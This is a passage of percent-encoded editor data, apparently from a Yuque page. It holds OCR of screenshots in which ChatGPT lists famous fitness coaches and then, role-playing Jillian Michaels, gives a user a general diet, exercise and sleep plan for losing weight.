%E7%82%BC%E8%AE%A1%E5%88%92%E8%80%8C%E9%97%BB%E5%90%8D%2C%E4%BB%96%E6%98%AF%E8%82%8C%E8%82%89%E8%AE%AD%E7%BB%83%E6%96%B9%E9%9D%A2%E7%9A%84%E4%B8%93%E5%AE%B6%2C%E4%B8%BB%E8%A6%81%E4%B8%8EP90X%E9%A1%B9%E7%9B%AE%E5%90%88%E4%BD%9C.%22%7D%2C%7B%22x%22%3A23.937826%2C%22y%22%3A240.71837%2C%22width%22%3A646.4848440000001%2C%22height%22%3A15.314930000000004%2C%22text%22%3A%222.JILLIANMICHAELS-%E5%A5%B9%E6%98%AF%E4%B8%80%E4%BD%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E7%94%B5%E8%A7%86%E4%B8%BB%E6%8C%81%E4%BA%BA%E5%92%8C%E4%BD%9C%E5%AE%B6%2C%E8%A2%AB%E7%A7%B0%E4%B8%BA%5C%22%E5%8F%98%E5%BD%A2%E5%A5%B3%E7%8E%8B%5C%22%2C%E5%A5%B9%E7%9A%84%E9%93%B6%E7%82%BC%E8%AE%A1%E5%88%92%E4%B8%BB%E8%A6%81%E5%9B%B4%22%7D%2C%7B%22x%22%3A38.14093%2C%22y%22%3A262.0377%2C%22width%22%3A148.35953%2C%22height%22%3A15.833730000000003%2C%22text%22%3A%22%E7%BB%95%E5%BC%BA%E5%8C%96%E8%AE%AD%E7%BB%83%E5%92%8C%E5%BF%83%E8%82%BA%E8%AE%AD%E7%BB%83.%22%7D%2C%7B%22x%22%3A23.36511%2C%22y%22%3A297.4873%2C%22width%22%3A609.6301900000001%2C%22height%22%3A19.01369999999997%2C%22text%22%3A%223.TRACYANDERSON-%E5%A5%B9%E6%98%AF%E4%B8%80%E4%BD%8D%E7%91%9C%E4%BC%BD%E6%95%99%E7%BB%83%E5%92%8C%E5%81%A5%E8%BA%AB%E7%A7%81%E4%BA%BA%E6%95%99%E7%BB%83%2C%E7%8B%AC%E5%88%9B%E4%BA%86%E5%A5%B9%E7%9A%84%E8%82%8C%E8%82%89%E5%AE%9A%E5%9E%8B%E8%AF%BE(TRACYANDERSON%22%7D%2C%7B%22x%22%3A38.368366%2C%22y%22%3A318.85754%2C%22width%22%3A242.17448399999998%2C%22height%22%3A17.454380000000015%2C%22text%22%3A%22METHOD)%2C%E5%9C%A8%E5%A5%BD%E8%8E%B1%E5%9D%9E%E6%98%8E%E6%98%9F%E4%B8%AD%E5%B9%BF%E5%8F%97%E6%AC%A2%E8%BF%8E.%22%7D%2C%7B%22x%22%3A24.493753%2C%22y%22%3A356.45065%2C%22width%22%3A641.569597%2C%22height%22%3A15.698280000000011%2C%22text%22%3A%224.HARLEYPASTERNAK-%E4%BB%96%E6%98%AF%E4%B8%80%E4%BD%8D%E5%87%BA%E7%89%88%E7%89%A9%E5%92%8C%E5%A5%BD%E8%8E%B1%E5%9D%9E%E6%98%8E%E6%98%9F%E7%9A%84%E7%A7%81%E4%BA%BA%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E4%BB%96%E7%9A%84%E7%A0%94%E7%A9%B6%E9%87%8D%E7%82%B9%E6%98%AF%E8%AE%A9%E5%AE%A2%E6%88%B7%E5%9C%A8%E6%97%A5%E5%B8%B8%E7%94%9F%E6%B4%BB%22%7D%2C%7B%22x%22%3A40.19147%2C%22y%22%3A378.36807%2C%22width%22%3A160.74194%2C%22height%22%3A15.413610000000006%2C%22text%22%3A%22%E4%B8%AD%E9%80%9A%E8%BF%87%E7%AE%80%E5%8D%95%E6%96%B9%E6%B3%95%E8%8E%B7%E5%BE%97%E9%94%BB%E7%82%BC.%22%7D%2C%7B%22x%22%3A12.433609%2C%22y%22%3A415.14108%2C%22width%22%3A606.8880909999999%2C%22height%22%3A14.480420000000038%2C%22text%22%3A%22%E8%BF%99%E4%BA%9B%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E9%83%BD%E6%9C%89%E8%87%AA%E5%B7%B1%E7%9A%84%E9%94%BB%E7%82%BC%E5%93%B2%E5%AD%A6%E5%92%8C%E6%88%90%E5%8A%9F%E6%A1%88%E4%BE%8B%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%A0%B9%E6%8D%AE%E8%87%AA%E5%B7%B1%E7%9A%84%E9%9C%80%E6%B1%82%E5%86%B3%E5%AE%9A%E9%80%89%E6%8B%A9%E5%93%AA%E4%BD%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83.%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E6%83%B3%E7%9F%A5%E9%81%93%E6%9C%89%E4%BB%80%E4%B9%88%E7%9F%A5%E5%90%8D%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E5%90%97%3F%20%E5%BD%93%E7%84%B6%E6%9C%89%2C%E4%BB%A5%E4%B8%8B%E6%98%AF%E4%B8%80%E4%BA%9B%E7%9F%A5%E5%90%8D%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%3A%201.TONYHORTON-%E4%BB%A5%E5%87%BA%E8%89%B2%E7%9A%84%E9%94%BB%E7%82%BC%E8%AE%A1%E5%88%92%E8%80%8C%E9%97%BB%E5%90%8D%2C%E4%BB%96%E6%98%AF%E8%82%8C%E8%82%89%E8%AE%AD%E7%BB%83%E6%96%B9%E9%9D%A2%E7%9A%84%E4%B8%93%E5%AE%B6%2C%E4%B8%BB%E8%A6%81%E4%B8%8EP90X%E9%A1%B9%E7%9B%AE%E5%90%88%E4%BD%9C.%202.JILLIANMICHAELS-%E5%A5%B9%E6%98%AF%E4%B8%80%E4%BD%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E7%94%B5%E8%A7%86%E4%B8%BB%E6%8C%81%E4%BA%BA%E5%92%8C%E4%BD%9C%E5%AE%B6%2C%E8%A2%AB%E7%A7%B0%E4%B8%BA%5C%22%E5%8F%98%E5%BD%A2%E5%A5%B3%E7%8E%8B%5C%22%2C%E5%A5%B9%E7%9A%84%E9%93%B6%E7%82%BC%E8%AE%A1%E5%88%92%E4%B8%BB%E8%A6%81%E5%9B%B4%20%E7%BB%95%E5%BC%BA%E5%8C%96%E8%AE%AD%E7%BB%83%E5%92%8C%E5%BF%83%E8%82%BA%E8%AE%AD%E7%BB%83.%203.TRACYANDERSON-%E5%A5%B9%E6%98%AF%E4%B8%80%E4%BD%8D%E7%91%9C%E4%BC%BD%E6%95%99%E7%BB%83%E5%92%8C%E5%81%A5%E8%BA%AB%E7%A7%81%E4%BA%BA%E6%95%99%E7%BB%83%2C%E7%8B%AC%E5%88%9B%E4%BA%86%E5%A5%B9%E7%9A%84%E8%82%8C%E8%82%89%E5%AE%9A%E5%9E%8B%E8%AF%BE(TRACYANDERSON%20METHOD)%2C%E5%9C%A8%E5%A5%BD%E8%8E%B1%E5%9D%9E%E6%98%8E%E6%98%9F%E4%B8%AD%E5%B9%BF%E5%8F%97%E6%AC%A2%E8%BF%8E.%204.HARLEYPASTERNAK-%E4%BB%96%E6%98%AF%E4%B8%80%E4%BD%8D%E5%87%BA%E7%89%88%E7%89%A9%E5%92%8C%E5%A5%BD%E8%8E%B1%E5%9D%9E%E6%98%8E%E6%98%9F%E7%9A%84%E7%A7%81%E4%BA%BA%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%E4%BB%96%E7%9A%84%E7%A0%94%E7%A9%B6%E9%87%8D%E7%82%B9%E6%98%AF%E8%AE%A9%E5%AE%A2%E6%88%B7%E5%9C%A8%E6%97%A5%E5%B8%B8%E7%94%9F%E6%B4%BB%20%E4%B8%AD%E9%80%9A%E8%BF%87%E7%AE%80%E5%8D%95%E6%96%B9%E6%B3%95%E8%8E%B7%E5%BE%97%E9%94%BB%E7%82%BC.%20%E8%BF%99%E4%BA%9B%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%E9%83%BD%E6%9C%89%E8%87%AA%E5%B7%B1%E7%9A%84%E9%94%BB%E7%82%BC%E5%93%B2%E5%AD%A6%E5%92%8C%E6%88%90%E5%8A%9F%E6%A1%88%E4%BE%8B%2C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E6%A0%B9%E6%8D%AE%E8%87%AA%E5%B7%B1%E7%9A%84%E9%9C%80%E6%B1%82%E5%86%B3%E5%AE%9A%E9%80%89%E6%8B%A9%E5%93%AA%E4%BD%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f7f6f4%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uc11fb225%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ubd9b7840%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E6%A0%B9%E6%8D%AE%E4%BB%96%E7%9A%84%E5%8F%8D%E9%A6%88%EF%BC%8C%E6%88%91%E4%BB%AC%E7%9B%B4%E6%8E%A5%E6%89%BE%E5%85%B6%E4%B8%AD%E4%B8%80%E4%B8%AA%E4%BA%BA%EF%BC%8C%E8%AE%A9ChatGPT%E6%89%AE%E6%BC%94%E8%BF%99%E4%B8%AA%E4%BA%BA%E6%9D%A5%E6%8F%90%E4%BE%9B%E5%BB%BA%E8%AE%AE%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22udfc248bd%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u56bc7223%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682333342519-fdefe7cf-7bed-4369-9574-54436a7da838.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A866%2C%22height%22%3A788%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A159617%2C%22width%22%3A787.2727102090508%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u70d9c51b-90b2-48b9-b299-ce30615e4a2%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A185.76035%2C%22y%22%3A76.7993%2C%22width%22%3A643.01419%2C%22height%22%3A15.247509999999991%2C%22text%22%3A%22%E6%88%91%E7%9A%84%E6%83%85%E5%86%B5%E6%98%AF%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%2C%E6%88%91%E6%83%B3%E8%A6%81%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E6%98%AF%E7%9F%A5%E5%90%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83JILLIAN%20MICHAELS%2C%E4%BD%9C%E4%B8%BA%E6%88%91%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%22%7D%2C%7B%22x%22%3A186.49411%2C%22y%22%3A98.19566%2C%22width%22%3A217.06747%2C%22height%22%3A14.987865%2C%22text%22%3A%22%E6%88%91%E6%83%B3%E8%A6%81%E4%BD%A0%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%22%7D%2C%7B%22x%22%3A15.014103%2C%22y%22%3A200.60068%2C%22width%22%3A661.583737%2C%22height%22%3A17.74122%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%2C%E4%BD%9C%E4%B8%BA%E4%BD%A0%E7%9A%84%E5%81%A5%E8%BA%AB%E8%BE%83%E7%BB%83%2C%E6%88%91%E5%BE%88%E9%AB%98%E5%85%B4%E8%83%BD%E5%B8%AE%E5%8A%A9%E4%BD%A0%E5%88%B6%E5%AE%9A%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%E9%A6%96%E5%85%88%2C%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E6%98%8E%E7%A1%AE%E4%B8%80%E4%B8%AA%E4%BA%8B%E5%AE%9E%2C%E5%87%8F%E8%82%A5%E5%B9%B6%E4%B8%8D%E6%98%AF%E4%B8%80%22%7D%2C%7B%22x%22%3A15.084515%2C%22y%22%3A224.42671%2C%22width%22%3A469.823625%2C%22height%22%3A14.697989999999976%2C%22text%22%3A%22%E8%B9%B4%E8%80%8C%E5%B0%B1%E7%9A%84%E4%BB%BB%E5%8A%A1%2C%E9%9C%80%E8%A6%81%E9%95%BF%E6%9C%9F%E7%9A%84%E5%9D%9A%E6%8C%81%E5%92%8C%E5%8A%AA%E5%8A%9B.%E4%BB%A5%E4%B8%8B%E6%98%AF%E6%88%91%E4%B8%BA%E4%BD%A0%E5%88%B6%E5%AE%9A%E7%9A%84%E8%AF%A6%E7%BB%86%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%3A%22%7D%2C%7B%22x%22%3A15.332827%2C%22y%22%3A260.71542%2C%22width%22%3A76.11328300000001%2C%22height%22%3A15.338579999999979%2C%22text%22%3A%221.%E9%A5%AE%E9%A3%9F%E6%96%B9%E9%9D%A2%3A%22%7D%2C%7B%22x%22%3A43.523483%2C%22y%22%3A297.65982%2C%22width%22%3A409.112867%2C%22height%22%3A17.004699999999957%2C%22text%22%3A%22%E6%8E%A7%E5%88%B6%E6%91%84%E5%85%A5%E7%83%AD%E9%87%8F%2C%E4%B8%80%E5%A4%A9%E7%9A%84%E6%80%BB%E7%83%AD%E9%87%8F%E6%91%84%E5%85%A5%E5%BA%94%E8%AF%A5%E6%8E%A7%E5%88%B6%E5%9C%A81600-1800KCAL%E4%BB%A5%E5%86%85%3B%22%7D%2C%7B%22x%22%3A43.938305%2C%22y%22%3A322.45547%2C%22width%22%3A476.52109499999995%2C%22height%22%3A14.982090000000028%2C%22text%22%3A%22%E6%AF%8F%E5%A4%A9%E6%97%A9%E4%B8%8A%E8%B5%B7%E6%9D%A5%E5%96%9D%E4%B8%80%E6%9D%AF%E6%B8%A9%E6%B0%B4%2C%E5%8F%AF%E4%BB%A5%E5%9C%A8%E9%A5%AD%E5%89%8D1%E5%B0%8F%E6%97%B6%E5%96%9D%E4%B8%80%E6%9D%AF%E8%9C%82%E8%9C%9C%E6%B0%B4%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E5%87%8F%E8%BD%BB%E9%A3%9F%E6%AC%B2%3B%22%7D%2C%7B%22x%22%3A43.44037%2C%22y%22%3A346.87003%2C%22width%22%3A455.79648%2C%22height%22%3A15.436120000000017%2C%22text%22%3A%22%E5%A2%9E%E5%8A%A0%E9%AB%98%E8%9B%8B%E7%99%BD%E8%B4%A8%2C%E4%BD%8E%E8%84%82%E8%82%AA%E7%9A%84%E9%A3%9F%E7%89%A9%E6%91%84%E5%85%A5%2C%E5%A6%82%E9%B8%A1%E8%83%B8%E8%82%89%2C%E9%B1%BC%E7%B1%BB%2C%E8%9B%8B%E7%99%BD%E8%B4%A8%E7%B2%89%2C%E8%B1%86%E7%B1%BB%E7%AD%89%3B%22%7D%2C%7B%22x%22%3A43.602978%2C%22y%22%3A371.36383%2C%22width%22%3A374.43132199999997%2C%22height%22%3A15.608169999999973%2C%22text%22%3A%22%E5%87%8F%E5%B0%91%E7%A2%B3%E6%B0%B4%E5%8C%96%E5%90%88%E7%89%A9%E7%9A%84%E6%91%84%E5%85%A5%E9%87%8F%2C%E7%89%B9%E5%88%AB%E6%98%AF%E7%B2%BE%E5%88%B6%E7%B1%B3%E9%9D%A2%E7%B1%BB%E5%92%8C%E7%B3%96%E6%9E%9C%E7%AD%89%E9%9B%B6%E9%A3%9F%3B%22%7D%2C%7B%22x%22%3A43.645363%2C%22y%22%3A395.20645%2C%22width%22%3A440.96715700000004%2C%22height%22%3A15.470349999999996%2C%22text%22%3A%22%E5%A2%9E%E5%8A%A0%E8%94%AC%E8%8F%9C%E5%92%8C%E6%B0%B4%E6%9E%9C%E7%9A%84%E6%91%84%E5%85%A5%E9%87%8F%2C%E7%89%B9%E5%88%AB%E6%98%AF%E7%BB%BF%E8%89%B2%E8%94%AC%E8%8F%9C%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E6%8F%90%E9%AB%98%E4%BB%A3%E8%B0%A2%E5%92%8C%E9%A5%B1%E8%85%B9%E6%84%9F.%22%7D%2C%7B%22x%22%3A14.918896%2C%22y%22%3A433.01074%2C%22width%22%3A75.42644399999999%2C%22height%22%3A14.32468%2C%22text%22%3A%222.%E8%BF%90%E5%8A%A8%E6%96%B9%E9%9D%A2%3A%22%7D%2C%7B%22x%22%3A42.20753%2C%22y%22%3A469.65143%2C%22width%22%3A380.26702%2C%22height%22%3A15.568269999999984%2C%22text%22%3A%22%E6%AF%8F%E5%91%A8%E8%87%B3%E5%B0%91%E8%BF%9B%E8%A1%8C5%E6%AC%A1%E6%9C%89%E6%B0%A7%E8%BF%90%E5%8A%A8%2C%E5%A6%82%E8%B7%91%E6%AD%A5%2C%E6%B8%B8%E6%B3%B3%2C%E6%9C%89%E6%B0%A7%E6%93%8D%2C%E8%B7%B3%E7%BB%B3%E7%AD%89%3B%22%7D%2C%7B%22x%22%3A44.374004%2C%22y%22%3A494.26212%2C%22width%22%3A461.903216%2C%22height%22%3A15.186309999999992%2C%22text%22%3A%22%E6%AF%8F%E5%91%A8%E8%87%B3%E5%B0%91%E8%BF%9B%E8%A1%8C3%E6%AC%A1%E9%87%8D%E9%87%8F%E8%AE%AD%E7%BB%83%2C%E5%A6%82%E5%93%91%E9%93%83%2C%E6%9D%A0%E9%93%83%E7%AD%89%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E5%A2%9E%E5%BC%BA%E8%82%8C%E8%82%89%E5%92%8C%E5%8A%A0%E9%80%9F%E4%BB%A3%E8%B0%A2%3B%22%7D%2C%7B%22x%22%3A43.41278%2C%22y%22%3A518.7498%2C%22width%22%3A308.91968%2C%22height%22%3A15.457499999999982%2C%22text%22%3A%22%E4%BF%9D%E6%8C%81%E8%BF%90%E5%8A%A8%E6%97%B6%E9%97%B4%E5%9C%A830-60%E5%88%86%E9%92%9F%2C%E4%B8%8D%E8%A6%81%E4%B8%80%E6%AC%A1%E6%80%A7%E8%BF%87%E5%BA%A6%E8%BF%90%E5%8A%A8%3B%22%7D%2C%7B%22x%22%3A43.20621%2C%22y%22%3A542.7619%2C%22width%22%3A230.92181%2C%22height%22%3A15.195299999999975%2C%22text%22%3A%22%E5%A2%9E%E5%8A%A0%E6%97%A5%E5%B8%B8%E6%B4%BB%E5%8A%A8%E9%87%8F%2C%E5%A6%82%E6%AD%A5%E8%A1%8C%2C%E7%88%AC%E6%A5%BC%E6%A2%AF%E7%AD%89.%22%7D%2C%7B%22x%22%3A14.6470585%2C%22y%22%3A579.9006%2C%22width%22%3A103.9674355%2C%22height%22%3A15.358699999999999%2C%22text%22%3A%223.%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%E6%96%B9%E9%9D%A2%3A%22%7D%2C%7B%22x%22%3A43.146706%2C%22y%22%3A616.58514%2C%22width%22%3A280.187824%2C%22height%22%3A16.101760000000013%2C%22text%22%3A%22%E5%85%BB%E6%88%90%E8%A7%84%E5%BE%8B%E4%BD%9C%E6%81%AF%E7%9A%84%E4%B9%A0%E6%83%AF%2C%E4%BF%9D%E8%AF%81%E6%AF%8F%E6%99%9A7-8%E5%B0%8F%E6%97%B6%E7%9D%A1%E7%9C%A0%3B%22%7D%2C%7B%22x%22%3A43.61041%2C%22y%22%3A640.23724%2C%22width%22%3A246.88382000000001%2C%22height%22%3A17.51436000000001%2C%22text%22%3A%22%E9%A5%AE%E9%A3%9F%E4%B8%8A%E6%B3%A8%E6%84%8F%E6%8E%A7%E5%88%B6%E9%A5%AE%E9%85%92%E5%92%8C%E5%90%B8%E7%83%9F%E7%AD%89%E4%B8%8D%E8%89%AF%E4%B9%A0%E6%83%AF%3B%22%7D%2C%7B%22x%22%3A43.82075%2C%22y%22%3A665.82245%2C%22width%22%3A231.31762%2C%22height%22%3A15.748050000000035%2C%22text%22%3A%22%E5%87%8F%E8%BD%BB%E5%BF%83%E7%90%86%E5%8E%8B%E5%8A%9B%2C%E5%AD%A6%E4%BC%9A%E6%94%BE%E6%9D%BE%E5%92%8C%E8%87%AA%E6%88%91%E8%B0%83%E8%8A%82%3B%22%7D%2C%7B%22x%22%3A43.394997%2C%22y%22%3A691.34467%2C%22width%22%3A385.072073%2C%22height%22%3A15.003960000000006%2C%22text%22%3A%22%E5%9D%9A%E6%8C%81%E6%AF%8F%E5%91%A8%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%88%B0%E4%B8%A4%E6%AC%A1%E5%85%A8%E8%BA%AB%E6%8C%89%E6%91%A9%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E4%BF%83%E8%BF%9B%E8%A1%80%E6%B6%B2%E5%BE%AA%E7%8E%AF%E5%92%8C%E4%BB%A3%E8%B0%A2.%22%7D%2C%7B%22x%22%3A15.218291%2C%22y%22%3A726.63275%2C%22width%22%3A659.785559%2C%22height%22%3A16.21442000000002%2C%22text%22%3A%22%E5%9C%A8%E8%BF%9B%E8%A1%8C%E5%87%8F%E8%82%A5%E8%BF%87%E7%A8%8B%E4%B8%AD%2C%E8%A6%81%E6%B3%A8%E6%84%8F%E8%BA%AB%E4%BD%93%E7%9A%84%E5%8F%8D%E5%BA%94%2C%E5%A6%82%E6%9E%9C%E5%87%BA%E7%8E%B0%E8%BA%AB%E4%BD%93%E4%B8%8D%E9%80%82%2C%E5%BA%94%E5%8F%8A%E6%97%B6%E8%B0%83%E6%95%B4%E8%87%AA%E5%B7%B1%E7%9A%84%E8%BF%90%E5%8A%A8%E5%92%8C%E9%A5%AE%E9%A3%9F%E8%AE%A1%E5%88%92.%E5%87%8F%E8%82%A5%E7%9A%84%E5%85%B3%22%7D%2C%7B%22x%22%3A15.313028%2C%22y%22%3A749.4034%2C%22width%22%3A400.037072%2C%22height%22%3A14.5471%2C%22text%22%3A%22%E9%94%AE%E6%98%AF%E5%9D%9A%E6%8C%81%2C%E5%8F%AA%E8%A6%81%E4%BD%A0%E8%83%BD%E5%A4%9F%E5%9D%9A%E6%8C%81%E4%B8%8B%E5%8E%BB%2C%E4%BD%A0%E4%B8%80%E5%AE%9A%E8%83%BD%E5%A4%9F%E6%88%90%E5%8A%9F%E7%98%A6%E4%B8%8B%E6%9D%A5.%E5%8A%A0%E6%B2%B9!%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E7%9A%84%E6%83%85%E5%86%B5%E6%98%AF%E8%BA%AB%E9%AB%98180%2C140%E6%96%A4%2C%E6%88%91%E6%83%B3%E8%A6%81%E5%87%8F%E8%82%A5%2C%E4%BD%A0%E6%98%AF%E7%9F%A5%E5%90%8D%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83JILLIAN%20MICHAELS%2C%E4%BD%9C%E4%B8%BA%E6%88%91%E7%9A%84%E4%B8%93%E4%B8%9A%E5%81%A5%E8%BA%AB%E6%95%99%E7%BB%83%2C%20%E6%88%91%E6%83%B3%E8%A6%81%E4%BD%A0%E5%B8%AE%E6%88%91%E5%88%B6%E5%AE%9A%E8%AF%A6%E7%BB%86%E7%9A%84%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%20%E5%A5%BD%E7%9A%84%2C%E4%BD%9C%E4%B8%BA%E4%BD%A0%E7%9A%84%E5%81%A5%E8%BA%AB%E8%BE%83%E7%BB%83%2C%E6%88%91%E5%BE%88%E9%AB%98%E5%85%B4%E8%83%BD%E5%B8%AE%E5%8A%A9%E4%BD%A0%E5%88%B6%E5%AE%9A%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92.%E9%A6%96%E5%85%88%2C%E6%88%91%E4%BB%AC%E9%9C%80%E8%A6%81%E6%98%8E%E7%A1%AE%E4%B8%80%E4%B8%AA%E4%BA%8B%E5%AE%9E%2C%E5%87%8F%E8%82%A5%E5%B9%B6%E4%B8%8D%E6%98%AF%E4%B8%80%20%E8%B9%B4%E8%80%8C%E5%B0%B1%E7%9A%84%E4%BB%BB%E5%8A%A1%2C%E9%9C%80%E8%A6%81%E9%95%BF%E6%9C%9F%E7%9A%84%E5%9D%9A%E6%8C%81%E5%92%8C%E5%8A%AA%E5%8A%9B.%E4%BB%A5%E4%B8%8B%E6%98%AF%E6%88%91%E4%B8%BA%E4%BD%A0%E5%88%B6%E5%AE%9A%E7%9A%84%E8%AF%A6%E7%BB%86%E5%87%8F%E8%82%A5%E8%AE%A1%E5%88%92%3A%201.%E9%A5%AE%E9%A3%9F%E6%96%B9%E9%9D%A2%3A%20%E6%8E%A7%E5%88%B6%E6%91%84%E5%85%A5%E7%83%AD%E9%87%8F%2C%E4%B8%80%E5%A4%A9%E7%9A%84%E6%80%BB%E7%83%AD%E9%87%8F%E6%91%84%E5%85%A5%E5%BA%94%E8%AF%A5%E6%8E%A7%E5%88%B6%E5%9C%A81600-1800KCAL%E4%BB%A5%E5%86%85%3B%20%E6%AF%8F%E5%A4%A9%E6%97%A9%E4%B8%8A%E8%B5%B7%E6%9D%A5%E5%96%9D%E4%B8%80%E6%9D%AF%E6%B8%A9%E6%B0%B4%2C%E5%8F%AF%E4%BB%A5%E5%9C%A8%E9%A5%AD%E5%89%8D1%E5%B0%8F%E6%97%B6%E5%96%9D%E4%B8%80%E6%9D%AF%E8%9C%82%E8%9C%9C%E6%B0%B4%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E5%87%8F%E8%BD%BB%E9%A3%9F%E6%AC%B2%3B%20%E5%A2%9E%E5%8A%A0%E9%AB%98%E8%9B%8B%E7%99%BD%E8%B4%A8%2C%E4%BD%8E%E8%84%82%E8%82%AA%E7%9A%84%E9%A3%9F%E7%89%A9%E6%91%84%E5%85%A5%2C%E5%A6%82%E9%B8%A1%E8%83%B8%E8%82%89%2C%E9%B1%BC%E7%B1%BB%2C%E8%9B%8B%E7%99%BD%E8%B4%A8%E7%B2%89%2C%E8%B1%86%E7%B1%BB%E7%AD%89%3B%20%E5%87%8F%E5%B0%91%E7%A2%B3%E6%B0%B4%E5%8C%96%E5%90%88%E7%89%A9%E7%9A%84%E6%91%84%E5%85%A5%E9%87%8F%2C%E7%89%B9%E5%88%AB%E6%98%AF%E7%B2%BE%E5%88%B6%E7%B1%B3%E9%9D%A2%E7%B1%BB%E5%92%8C%E7%B3%96%E6%9E%9C%E7%AD%89%E9%9B%B6%E9%A3%9F%3B%20%E5%A2%9E%E5%8A%A0%E8%94%AC%E8%8F%9C%E5%92%8C%E6%B0%B4%E6%9E%9C%E7%9A%84%E6%91%84%E5%85%A5%E9%87%8F%2C%E7%89%B9%E5%88%AB%E6%98%AF%E7%BB%BF%E8%89%B2%E8%94%AC%E8%8F%9C%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E6%8F%90%E9%AB%98%E4%BB%A3%E8%B0%A2%E5%92%8C%E9%A5%B1%E8%85%B9%E6%84%9F.%202.%E8%BF%90%E5%8A%A8%E6%96%B9%E9%9D%A2%3A%20%E6%AF%8F%E5%91%A8%E8%87%B3%E5%B0%91%E8%BF%9B%E8%A1%8C5%E6%AC%A1%E6%9C%89%E6%B0%A7%E8%BF%90%E5%8A%A8%2C%E5%A6%82%E8%B7%91%E6%AD%A5%2C%E6%B8%B8%E6%B3%B3%2C%E6%9C%89%E6%B0%A7%E6%93%8D%2C%E8%B7%B3%E7%BB%B3%E7%AD%89%3B%20%E6%AF%8F%E5%91%A8%E8%87%B3%E5%B0%91%E8%BF%9B%E8%A1%8C3%E6%AC%A1%E9%87%8D%E9%87%8F%E8%AE%AD%E7%BB%83%2C%E5%A6%82%E5%93%91%E9%93%83%2C%E6%9D%A0%E9%93%83%E7%AD%89%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E5%A2%9E%E5%BC%BA%E8%82%8C%E8%82%89%E5%92%8C%E5%8A%A0%E9%80%9F%E4%BB%A3%E8%B0%A2%3B%20%E4%BF%9D%E6%8C%81%E8%BF%90%E5%8A%A8%E6%97%B6%E9%97%B4%E5%9C%A830-60%E5%88%86%E9%92%9F%2C%E4%B8%8D%E8%A6%81%E4%B8%80%E6%AC%A1%E6%80%A7%E8%BF%87%E5%BA%A6%E8%BF%90%E5%8A%A8%3B%20%E5%A2%9E%E5%8A%A0%E6%97%A5%E5%B8%B8%E6%B4%BB%E5%8A%A8%E9%87%8F%2C%E5%A6%82%E6%AD%A5%E8%A1%8C%2C%E7%88%AC%E6%A5%BC%E6%A2%AF%E7%AD%89.%203.%E7%94%9F%E6%B4%BB%E4%B9%A0%E6%83%AF%E6%96%B9%E9%9D%A2%3A%20%E5%85%BB%E6%88%90%E8%A7%84%E5%BE%8B%E4%BD%9C%E6%81%AF%E7%9A%84%E4%B9%A0%E6%83%AF%2C%E4%BF%9D%E8%AF%81%E6%AF%8F%E6%99%9A7-8%E5%B0%8F%E6%97%B6%E7%9D%A1%E7%9C%A0%3B%20%E9%A5%AE%E9%A3%9F%E4%B8%8A%